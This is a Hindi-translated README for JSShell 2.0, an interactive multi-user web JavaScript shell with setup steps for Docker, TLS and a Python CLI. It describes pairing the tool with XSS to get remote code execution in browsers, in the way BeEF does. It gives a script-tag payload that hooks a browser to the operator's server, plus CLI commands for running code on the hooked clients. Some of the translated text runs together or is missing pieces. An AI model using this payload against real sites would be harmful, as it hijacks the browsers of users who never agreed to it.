
एक इंटरैक्टिव मल्टी-यूज़र वेब जेएस शेल
एक इंटरैक्टिव मल्टी-यूज़र वेब-आधारित जावास्क्रिप्ट शेल। इसे शुरू में प्रयोगों और अनुसंधान के दौरान दूरस्थ विचित्र ब्राउज़रों को डीबग करने के लिए बनाया गया था। इस उपकरण को ब्राउज़र रिमोट कोड निष्पादन (बीफ फ्रेमवर्क के समान) प्राप्त करने के लिए XSS (क्रॉस-साइट स्क्रिप्टिंग) पेलोड से आसानी से जोड़ा जा सकता है।
संस्करण 2.0 पूरी तरह से नए सिरे से बनाया गया है, जिसमें नई रोमांचक विशेषताएं, स्थिरता और रखरखाव क्षमता शामिल है।
<script> टैग के माध्यम से इंजेक्ट करने योग्यresources निर्देशिका में, अपनी इच्छित कॉन्फ़िगरेशन के साथ config.json फ़ाइल को अपडेट करें:
docker डिप्लॉयमेंट विधि के साथ चल रहे हैं, तो डेटाबेस होस्ट को db (जो आंतरिक होस्ट नाम है) चुनें।shell.js फ़ाइल नए कमांड को पंजीकृत और पोल करने के लिए कुछ AJAX कॉल करती है। आमतौर पर यह http[s]://{YOUR_SERVER_IP}:{PORT} होगा।अब JSShell TLS का समर्थन करता है, जिसका अर्थ है कि अब आप TLS प्रमाणपत्र उत्पन्न कर सकते हैं और उन्हें वेब सर्वर को फीड कर सकते हैं। वेब सर्वर config.json फ़ाइल से डोमेन नाम निकालेगा। प्रमाणपत्र बनाने के लिए, scripts फ़ोल्डर में create_cert.py स्क्रिप्ट का उपयोग करें:
$ cd scripts
$ python create_cert.py --domain <YOUR_DOMAIN> --email <YOUR_EMAIL>
कृपया ध्यान दें कि स्क्रिप्ट के ठीक से काम करने के लिए वेब सर्वर बंद होना चाहिए। इस बिंदु पर, हमने सफलतापूर्वक अपने प्रमाणपत्र उत्पन्न कर लिए हैं! हमें केवल निम्नलिखित संशोधन करने की आवश्यकता है:
config.json फ़ाइल में, URL फ़ील्ड का स्कीमा https में बदलें।docker-compose.yml फ़ाइल में web कंटेनर के एक्सपोज़्ड पोर्ट को 443 में बदलें।यह नया संस्करण docker और docker-compose के माध्यम से JSShell को स्थापित और चलाने का समर्थन करता है। अब, पूरे JSShell ढांचे को स्थापित और चलाने के लिए, बस चलाएँ:
$ ./scripts/start_docker_shell.sh
यह:
JSShell कमांड लाइन इंटरफ़ेस कंटेनर का एक नया इंस्टेंस स्पॉन करेगायदि आप अभी भी स्थापना की पुरानी शैली विधि का उपयोग करना चाहते हैं, तो बस सुनिश्चित करें कि आपके पास एक MongoDB डेटाबेस चालू है, और resources निर्देशिका में स्थित config.json फ़ाइल को अपडेट करें।
मैं pyenv के साथ वर्चुअल वातावरण का उपयोग करने की सलाह देता हूँ:
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv
या virtualenv का उपयोग करें:
$ virtualenv -p python3.6 venv
$ source venv/bin/activate
फिर, आवश्यकताएं स्थापित करें:
$ pip install -r requirements.txt
यदि आपने docker विधि का उपयोग किया है, तो निम्नलिखित प्रक्रिया चलाने की आवश्यकता नहीं है।
अन्यथा, एक बार डेटाबेस सेटअप हो जाने पर, हमें वेब API सर्वर प्रारंभ करना होगा। ऐसा करने के लिए, चलाएँ:
$ python manage.py web
यह एक वेब सर्वर बनाएगा और चलाएगा जो इनकमिंग कनेक्शन को सुनता है और हमारे JSShell कोड को परोसता है।
अब JSShell CLI प्रारंभ करने के लिए, वही स्क्रिप्ट चलाएं लेकिन अब shell फ्लैग के साथ:
$ python manage.py shell
सेटअप और आवश्यक घटकों को चलाने के बाद, उपलब्ध कमांड देखने के लिए help कमांड दर्ज करें:
╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
by @Daniel_Abeles
>> help
Documented commands (type help <topic>):
General Commands
--------------------------------------------------------------------------------
edit Edit a file in a text editor
help List available commands or provide detailed help for a specific command
history View, run, edit, save, or clear previously entered commands
ipy Enter an interactive IPython shell
py Invoke Python command or shell
quit Exit this application
Shell Based Operations
--------------------------------------------------------------------------------
back Un-select the current selected client
clients List and control the clients that have registered to our system
commands Show the executed commands on the selected client
dump Dumps a command to the disk
execute Execute commands on the selected client
select Select a client as the current client
>>
JSShell संचालन के 2 तरीकों का समर्थन करता है:
अन्य XSS नियंत्रण ढांचे (जैसे BeeF) के समान, JSShell सफल XSS शोषण प्रबंधित करने में सक्षम है। उदाहरण के लिए, यदि आप एक script टैग इंजेक्ट कर सकते हैं, तो अपने पेलोड में निम्नलिखित संसाधन इंजेक्ट करें, और एक नया क्लाइंट आपके कंसोल में दिखाई देगा:
<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>
यदि आप विचित्र और गूढ़ ब्राउज़रों को डीबग करना चाहते हैं, तो आप बस http[s]://{YOUR_SERVER_IP}:{PORT}/ पर नेविगेट कर सकते हैं और एक नया क्लाइंट आपके JSShell CLI क्लाइंट में पॉप अप होगा। अब यह हमारे JSShell कंसोल के माध्यम से डीबग करने योग्य है।
Canop द्वारा JSON.prune